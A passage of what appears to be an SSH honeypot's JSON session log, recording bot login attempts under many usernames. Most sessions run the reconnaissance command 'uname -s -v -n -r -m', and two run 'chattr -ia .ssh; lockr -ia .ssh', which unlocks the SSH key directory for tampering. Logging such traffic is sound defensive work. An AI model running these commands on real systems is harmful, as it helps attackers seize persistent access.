  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:21:11.507305+00:00",
  "ended_at": "2026-08-27T02:21:13.818100+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af4b1d26-dac1-4194-a53d-b983cceff10d",
  "name": "solar-nimble-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53080,
  "username": "admin123",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:08.600436+00:00",
  "ended_at": "2026-08-27T02:21:12.984023+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "73a6bf57-5048-4846-8631-46e4f5766254",
  "name": "sterling-peaty-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40782,
  "username": "test1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 394,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:21:06.552458+00:00",
  "ended_at": "2026-08-27T02:21:13.820391+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "72a4d35d-b9b0-4361-82f6-f0c2a3f72703",
  "name": "dutiful-honest-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55140,
  "username": "monitor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:21:01.239932+00:00",
  "ended_at": "2026-08-27T02:21:03.485360+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "07c9429e-461f-49da-9dfd-973475509346",
  "name": "brisk-downy-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41440,
  "username": "monitor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 405,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:57.323114+00:00",
  "ended_at": "2026-08-27T02:21:03.486770+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "10042d62-abe8-4b59-8dfc-60b474509ea1",
  "name": "mindful-sleepy-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46760,
  "username": "yousef",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 513,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:20:56.350939+00:00",
  "ended_at": "2026-08-27T02:20:57.008370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "5f53b2c0-f98c-4707-99c2-2d90f37cf008",
  "name": "quiet-umber-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47810,
  "username": "yousef",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:45.678091+00:00",
  "ended_at": "2026-08-27T02:20:46.561806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "110ee8ca-7351-40de-9425-3425cfd19f6e",
  "name": "vigilant-kindly-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46772,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:40.118620+00:00",
  "ended_at": "2026-08-27T02:20:42.064727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eba0fb8a-d099-490c-88f7-59e0840bfb29",
  "name": "shaded-watchful-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 44372,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:39.450890+00:00",
  "ended_at": "2026-08-27T02:20:42.297874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "32e2af25-417c-43ed-a0ca-c64914e0eb4f",
  "name": "sullen-fickle-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41366,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 401,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:36.991283+00:00",
  "ended_at": "2026-08-27T02:20:42.564329+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87764374-a004-400e-8abf-a34761973cbf",
  "name": "proud-stormy-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55024,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:32.919759+00:00",
  "ended_at": "2026-08-27T02:20:42.299427+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "54fb428a-ea39-4b0f-a406-e8d48763c53e",
  "name": "mossy-pleasant-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:32.150656+00:00",
  "ended_at": "2026-08-27T02:20:36.118873+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c120d7f-cfb2-43b0-9d4d-61381260510e",
  "name": "nautical-umber-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 46476,
  "username": "marcu1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:32.108283+00:00",
  "ended_at": "2026-08-27T02:20:36.350312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a6837c9-3f91-4513-94ad-bf51313ee44a",
  "name": "lucid-quartz-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49502,
  "username": "marcu1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:26.818761+00:00",
  "ended_at": "2026-08-27T02:20:36.351483+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "e72c810e-655b-479f-b9a4-07edb112f7e1",
  "name": "sooty-grassy-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 50438,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:14.428618+00:00",
  "ended_at": "2026-08-27T02:20:17.776877+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ed73b12-37fd-49bb-a5f4-eb8aa5e55494",
  "name": "rapid-freckled-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49388,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:10.223391+00:00",
  "ended_at": "2026-08-27T02:20:16.012013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2286d37c-794f-4faa-bdbe-79f7e8cff612",
  "name": "watchful-leafy-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41204,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:09.520258+00:00",
  "ended_at": "2026-08-27T02:20:17.778330+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "dea00d10-e1b6-441b-8004-6147c131e82a",
  "name": "deft-brisk-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40804,
  "username": "kipt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:07.621248+00:00",
  "ended_at": "2026-08-27T02:20:10.175780+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b41d169-6b13-4871-bfbc-e50fab1aba3c",
  "name": "coastal-daring-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53106,
  "username": "opc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:02.891080+00:00",
  "ended_at": "2026-08-27T02:20:04.884818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d625fe1e-a680-457b-9723-40a430b02488",
  "name": "primal-gloomy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60902,
  "username": "kipt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:20:02.717117+00:00",
  "ended_at": "2026-08-27T02:20:10.174185+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "d47f0ff4-b86a-45eb-9c0f-67b7c9d15f2d",
  "name": "ivory-autumn-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35086,
  "username": "opc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 562,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:57.478479+00:00",
  "ended_at": "2026-08-27T02:20:04.882713+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "4c226e5b-1dba-43e2-b828-4ab220ab087f",
  "name": "idle-russet-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41446,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:19:53.416573+00:00",
  "ended_at": "2026-08-27T02:19:55.127120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "073589d9-ab39-43c9-918e-e1e42f05ebd2",
  "name": "stoic-gentle-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35014,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:50.103547+00:00",
  "ended_at": "2026-08-27T02:19:55.130601+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "e06be6c0-c8b1-439c-8958-8252251f174b",
  "name": "jagged-snowy-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41138,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:46.290956+00:00",
  "ended_at": "2026-08-27T02:19:49.981664+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0aa0de09-acd7-433a-a46e-703e79e11629",
  "name": "vivid-calm-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41372,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:19:45.508322+00:00",
  "ended_at": "2026-08-27T02:19:48.723185+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "589a392f-534d-4504-b099-f3a2b06b15e1",
  "name": "autumn-diligent-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57510,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:40.428570+00:00",
  "ended_at": "2026-08-27T02:19:48.721557+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "ae7373d2-95e2-4b13-98e8-64e343e61472",
  "name": "sullen-placid-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40504,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:19:39.336371+00:00",
  "ended_at": "2026-08-27T02:19:42.268537+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bfa083cb-378c-4f75-a505-7cb29f37fd62",
  "name": "wry-lunar-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40306,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 388,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:33.884508+00:00",
  "ended_at": "2026-08-27T02:19:42.266883+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "538cc301-61cd-47a1-90e7-4634a405387c",
  "name": "placid-arctic-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60934,
  "username": "bernard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:19:11.631102+00:00",
  "ended_at": "2026-08-27T02:19:13.259144+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ca69d5f-a33f-4bcb-b1b7-10ec4a268247",
  "name": "bitter-dusty-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42348,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:10.957047+00:00",
  "ended_at": "2026-08-27T02:19:14.848550+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "786afc4b-aef7-47c4-84c9-22c22e2f1e7f",
  "name": "emerald-fleeting-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34732,
  "username": "bernard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:06.942619+00:00",
  "ended_at": "2026-08-27T02:19:13.260847+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "0debef9d-ba60-4e93-99be-e8e0b9863be0",
  "name": "brazen-salty-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42282,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:05.952839+00:00",
  "ended_at": "2026-08-27T02:19:11.899254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb406720-c0ae-4e2f-8799-ceefd9b6cd5d",
  "name": "blithe-coastal-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41216,
  "username": "hu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:19:03.956993+00:00",
  "ended_at": "2026-08-27T02:19:06.885459+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08493f28-e1bb-4bf5-b34d-fe483ccd7723",
  "name": "marbled-burly-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34656,
  "username": "hu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:58.470837+00:00",
  "ended_at": "2026-08-27T02:19:06.886667+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "df2d8977-c5d5-47df-bb3c-0366bd79b30a",
  "name": "plucky-creaky-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39918,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:52.923503+00:00",
  "ended_at": "2026-08-27T02:18:58.634613+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a314fc2-3b98-41ad-91ca-de0dd02cbf3c",
  "name": "gleaming-golden-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:36.145557+00:00",
  "ended_at": "2026-08-27T02:18:41.350867+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d55bb88-ee9e-44c2-ac5a-f37f1e519f35",
  "name": "wooded-gnarled-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:33.952551+00:00",
  "ended_at": "2026-08-27T02:18:37.721086+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9bcd44da-e853-42b3-ba66-39e9077bbc82",
  "name": "tranquil-umber-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40298,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:18:29.593541+00:00",
  "ended_at": "2026-08-27T02:18:31.803449+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd93d3dd-cc71-4111-9d7c-bf884705c5eb",
  "name": "coastal-cosmic-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54800,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:28.149452+00:00",
  "ended_at": "2026-08-27T02:18:32.359460+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "799bd7b6-37ce-4aa9-b7db-8dce49ae203e",
  "name": "quartz-quaint-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60610,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:25.339674+00:00",
  "ended_at": "2026-08-27T02:18:31.802233+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0901a280-d884-4431-a6a0-aef5136cdf85",
  "name": "hazy-eager-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 42310,
  "username": "admins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:18:18.825172+00:00",
  "ended_at": "2026-08-27T02:18:20.638014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53a8d389-8cf8-4a6d-9a11-4abf095bb487",
  "name": "gleaming-deft-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 39980,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:18:13.735737+00:00",
  "ended_at": "2026-08-27T02:18:16.728025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "48dba4f0-db47-4c8c-857e-2aa949892319",
  "name": "candid-knotted-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57014,
  "username": "admins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:13.110148+00:00",
  "ended_at": "2026-08-27T02:18:20.633343+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "d67081d3-6b1f-4afc-af14-6b9c62bfd8ef",
  "name": "meadow-wistful-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53624,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 359,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:09.923329+00:00",
  "ended_at": "2026-08-27T02:18:16.730008+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "2be720e1-0f24-4a0e-aafe-39756211c41d",
  "name": "blunt-sullen-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53682,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:06.858585+00:00",
  "ended_at": "2026-08-27T02:18:10.051177+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bbaff6b1-d83d-4dbd-9fbd-583586396433",
  "name": "faded-brisk-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34702,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:58.284745+00:00",
  "ended_at": "2026-08-27T02:18:00.529029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "febf170a-71a5-46ae-a4fc-407474613dd3",
  "name": "gleaming-kindly-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53706,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:57.124350+00:00",
  "ended_at": "2026-08-27T02:18:01.222908+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d96a20de-1b23-4046-9901-e0c6141ea4ed",
  "name": "gleaming-canny-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60360,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:53.483167+00:00",
  "ended_at": "2026-08-27T02:18:00.531468+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "fd1fad0e-ac7d-4705-94f3-8a996713cdb7",
  "name": "nameless-lonesome-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53638,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:49.401334+00:00",
  "ended_at": "2026-08-27T02:17:53.793639+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb077dd9-d37c-4314-ba6d-ceb3d85437a3",
  "name": "gritty-bold-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:17:40.565599+00:00",
  "ended_at": "2026-08-27T02:17:41.267934+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1cc7b34d-7201-4276-a235-0d41948e5be5",
  "name": "scarlet-foggy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60714,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
